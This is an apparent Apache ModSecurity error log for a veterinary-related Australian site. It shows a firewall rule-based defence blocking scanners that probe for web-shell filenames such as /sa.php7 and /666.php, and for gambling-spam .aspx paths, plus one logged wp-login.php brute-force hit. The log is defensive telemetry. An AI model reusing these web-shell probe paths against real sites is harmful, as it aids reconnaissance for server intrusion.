[Wed Apr 22 19:55:46.962587 2026] [:error] [pid 6344:tid 6359] [client 74.248.33.208:32876] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aei3QkDOTF-pkQnDeUnh_wAAAAo"]
[Wed Apr 22 19:55:50.690326 2026] [:error] [pid 6251:tid 6299] [client 74.248.33.208:25916] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aei3RisFAzbyObL-SQ50DwAAAI4"]
[Wed Apr 22 19:55:53.082143 2026] [:error] [pid 6250:tid 6275] [client 74.248.33.208:32836] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aei3SQ-iZeQkqmQVfj4BUAAAAFU"]
[Wed Apr 22 19:55:54.018349 2026] [:error] [pid 23776:tid 23778] [client 74.248.33.208:25909] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wmore1.php"] [unique_id "aei3SrRExf-1pAbSeJvZ2gAAAYA"]
[Wed Apr 22 19:55:56.818162 2026] [:error] [pid 6250:tid 6274] [client 74.248.33.208:49406] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/userfuns.php"] [unique_id "aei3TA-iZeQkqmQVfj4BXAAAAFQ"]
[Wed Apr 22 19:55:58.939990 2026] [:error] [pid 6252:tid 6330] [client 74.248.33.208:22699] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/userfuns.php"] [unique_id "aei3TutGYuiYb1nWBpREOQAAARI"]
[Wed Apr 22 19:59:15.464710 2026] [:error] [pid 9085:tid 9099] [client 74.248.33.208:9734] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sa.php7"] [unique_id "aei4E9-_-or9vQnlWnpLXgAAAUw"]
[Wed Apr 22 19:59:17.828110 2026] [:error] [pid 6384:tid 6399] [client 74.248.33.208:50531] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sa.php7"] [unique_id "aei4FT58M3t15ICeWHUfWwAAAMw"]
[Wed Apr 22 19:59:21.072328 2026] [:error] [pid 6384:tid 6406] [client 74.248.33.208:51200] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sa.php7"] [unique_id "aei4GT58M3t15ICeWHUfXwAAANM"]
[Wed Apr 22 19:59:22.876164 2026] [:error] [pid 23776:tid 23778] [client 74.248.33.208:9765] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sa.php7"] [unique_id "aei4GrRExf-1pAbSeJvbDgAAAYA"]
[Wed Apr 22 19:59:24.710884 2026] [:error] [pid 6250:tid 6271] [client 74.248.33.208:50726] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "aei4HA-iZeQkqmQVfj4CCQAAAFE"]
[Wed Apr 22 19:59:27.999317 2026] [:error] [pid 9085:tid 9088] [client 74.248.33.208:29668] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "aei4H9-_-or9vQnlWnpLpQAAAUE"]
[Wed Apr 22 19:59:32.543506 2026] [:error] [pid 6252:tid 6324] [client 74.248.33.208:9774] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "aei4JOtGYuiYb1nWBpREvAAAAQw"]
[Wed Apr 22 19:59:37.684666 2026] [:error] [pid 6344:tid 6368] [client 74.248.33.208:49043] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a7.php"] [unique_id "aei4KUDOTF-pkQnDeUni7gAAABM"]
[Wed Apr 22 19:59:43.004846 2026] [:error] [pid 23776:tid 23778] [client 74.248.33.208:9454] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "aei4L7RExf-1pAbSeJvbKQAAAYA"]
[Wed Apr 22 19:59:47.499185 2026] [:error] [pid 6252:tid 6315] [client 74.248.33.208:47287] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "aei4M-tGYuiYb1nWBpREyQAAAQM"]
[Wed Apr 22 19:59:50.974960 2026] [:error] [pid 23776:tid 23793] [client 74.248.33.208:50805] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "aei4NrRExf-1pAbSeJvbPAAAAY8"]
[Wed Apr 22 19:59:53.875746 2026] [:error] [pid 6344:tid 6349] [client 74.248.33.208:37255] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "aei4OUDOTF-pkQnDeUnjBgAAAAA"]
[Wed Apr 22 19:59:55.878674 2026] [:error] [pid 23776:tid 23797] [client 74.248.33.208:37875] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "aei4O7RExf-1pAbSeJvbSwAAAZM"]
[Wed Apr 22 19:59:59.461655 2026] [:error] [pid 6384:tid 6400] [client 74.248.33.208:25384] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "aei4Pz58M3t15ICeWHUfrQAAAM0"]
[Wed Apr 22 20:00:01.281351 2026] [:error] [pid 6344:tid 6358] [client 74.248.33.208:28173] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bthil.php"] [unique_id "aei4QUDOTF-pkQnDeUnjDQAAAAk"]
[Wed Apr 22 20:00:03.397264 2026] [:error] [pid 9085:tid 9101] [client 74.248.33.208:27922] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aei4Q9-_-or9vQnlWnpL9wAAAU4"]
[Wed Apr 22 20:00:05.365944 2026] [:error] [pid 6384:tid 6402] [client 74.248.33.208:41178] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aei4RT58M3t15ICeWHUftQAAAM8"]
[Wed Apr 22 20:00:06.407812 2026] [:error] [pid 6252:tid 6317] [client 74.248.33.208:10035] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aei4RutGYuiYb1nWBpRE1wAAAQU"]
[Wed Apr 22 20:00:07.827635 2026] [:error] [pid 23776:tid 23793] [client 74.248.33.208:23398] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp5.php"] [unique_id "aei4R7RExf-1pAbSeJvbZgAAAY8"]
[Wed Apr 22 20:00:10.109325 2026] [:error] [pid 6384:tid 6405] [client 74.248.33.208:26873] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aei4Sj58M3t15ICeWHUftwAAANI"]
[Wed Apr 22 20:00:11.486950 2026] [:error] [pid 23776:tid 23791] [client 74.248.33.208:29749] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aei4S7RExf-1pAbSeJvbcAAAAY0"]
[Wed Apr 22 20:03:52.328194 2026] [:error] [pid 23776:tid 23791] [client 74.248.33.208:51233] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "aei5KLRExf-1pAbSeJvcmQAAAY0"]
[Wed Apr 22 20:03:53.528659 2026] [:error] [pid 6250:tid 6261] [client 74.248.33.208:22502] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "aei5KQ-iZeQkqmQVfj4EFwAAAEc"]
[Wed Apr 22 20:03:58.726537 2026] [:error] [pid 6250:tid 6256] [client 74.248.33.208:39792] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "aei5Lg-iZeQkqmQVfj4EOwAAAEI"]
[Wed Apr 22 20:04:02.726932 2026] [:error] [pid 9085:tid 9108] [client 74.248.33.208:9488] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8573.php"] [unique_id "aei5Mt-_-or9vQnlWnpOZQAAAVU"]
[Wed Apr 22 20:04:06.877874 2026] [:error] [pid 6344:tid 6368] [client 74.248.33.208:50550] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aei5NkDOTF-pkQnDeUnkJQAAABM"]
[Wed Apr 22 20:04:12.723802 2026] [:error] [pid 23776:tid 23780] [client 74.248.33.208:10210] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aei5PLRExf-1pAbSeJvdHgAAAYI"]
[Wed Apr 22 20:04:15.548037 2026] [:error] [pid 6344:tid 6355] [client 74.248.33.208:55451] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aei5P0DOTF-pkQnDeUnkMgAAAAY"]
[Wed Apr 22 20:04:25.645150 2026] [:error] [pid 6384:tid 6398] [client 74.248.33.208:39473] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aei5ST58M3t15ICeWHUh7wAAAMs"]
[Wed Apr 22 20:04:28.753531 2026] [:error] [pid 6250:tid 6264] [client 74.248.33.208:35402] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aei5TA-iZeQkqmQVfj4EUwAAAEo"]
[Wed Apr 22 20:04:31.459056 2026] [:error] [pid 6252:tid 6319] [client 74.248.33.208:28713] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aei5T-tGYuiYb1nWBpRFggAAAQc"]
[Wed Apr 22 20:04:34.399850 2026] [:error] [pid 6384:tid 6408] [client 74.248.33.208:48438] [client 74.248.33.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "aei5Uj58M3t15ICeWHUh-QAAANU"]
[Wed Apr 22 20:21:48.162328 2026] [:error] [pid 23776:tid 23785] [client 35.226.125.165:47896] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 35.226.125.165, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aei9XLRExf-1pAbSeJviQgAAAYc"]
[Wed Apr 22 21:09:50.344723 2026] [:error] [pid 9085:tid 9094] [client 54.37.252.119:57480] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aejInt-_-or9vQnlWnp2oAAAAUc"]
[Wed Apr 22 21:09:52.698415 2026] [:error] [pid 6251:tid 6293] [client 54.37.252.119:51406] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aejIoCsFAzbyObL-SQ6BCwAAAIg"]
[Wed Apr 22 21:09:55.198943 2026] [:error] [pid 6384:tid 6389] [client 54.37.252.119:51416] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aejIoz58M3t15ICeWHVE4AAAAMI"]
[Wed Apr 22 21:09:57.560294 2026] [:error] [pid 6250:tid 6276] [client 54.37.252.119:40146] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aejIpQ-iZeQkqmQVfj4SegAAAFY"]
[Wed Apr 22 21:09:59.902931 2026] [:error] [pid 6384:tid 6398] [client 54.37.252.119:40172] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aejIpz58M3t15ICeWHVE5gAAAMs"]
[Wed Apr 22 21:10:02.284430 2026] [:error] [pid 23776:tid 23783] [client 54.37.252.119:40186] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aejIqrRExf-1pAbSeJv2pQAAAYU"]
[Wed Apr 22 21:10:04.619331 2026] [:error] [pid 23776:tid 23793] [client 54.37.252.119:40196] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aejIrLRExf-1pAbSeJv2qQAAAY8"]
[Wed Apr 22 21:10:07.005910 2026] [:error] [pid 23776:tid 23788] [client 54.37.252.119:58584] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aejIr7RExf-1pAbSeJv2rAAAAYo"]
[Wed Apr 22 21:10:09.502122 2026] [:error] [pid 23776:tid 23785] [client 54.37.252.119:58610] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aejIsbRExf-1pAbSeJv2swAAAYc"]
[Wed Apr 22 21:10:12.098677 2026] [:error] [pid 6344:tid 6364] [client 54.37.252.119:58628] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aejItEDOTF-pkQnDeUn1pwAAAA8"]
[Wed Apr 22 21:10:14.485682 2026] [:error] [pid 9085:tid 9092] [client 54.37.252.119:58642] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aejItt-_-or9vQnlWnp28AAAAUU"]
[Wed Apr 22 21:10:16.884672 2026] [:error] [pid 9085:tid 9111] [client 54.37.252.119:57034] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aejIuN-_-or9vQnlWnp2-gAAAVg"]
[Wed Apr 22 21:10:19.368623 2026] [:error] [pid 6250:tid 6265] [client 54.37.252.119:57046] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aejIuw-iZeQkqmQVfj4SnwAAAEs"]
[Wed Apr 22 21:10:21.783654 2026] [:error] [pid 9085:tid 9092] [client 54.37.252.119:57048] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aejIvd-_-or9vQnlWnp3CgAAAUU"]
[Wed Apr 22 21:10:24.371375 2026] [:error] [pid 6250:tid 6258] [client 54.37.252.119:57056] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aejIwA-iZeQkqmQVfj4SpwAAAEQ"]
[Wed Apr 22 21:10:26.823838 2026] [:error] [pid 23776:tid 23779] [client 54.37.252.119:40420] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aejIwrRExf-1pAbSeJv2zQAAAYE"]
[Wed Apr 22 21:10:29.321378 2026] [:error] [pid 9085:tid 9111] [client 54.37.252.119:40432] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aejIxd-_-or9vQnlWnp3HAAAAVg"]
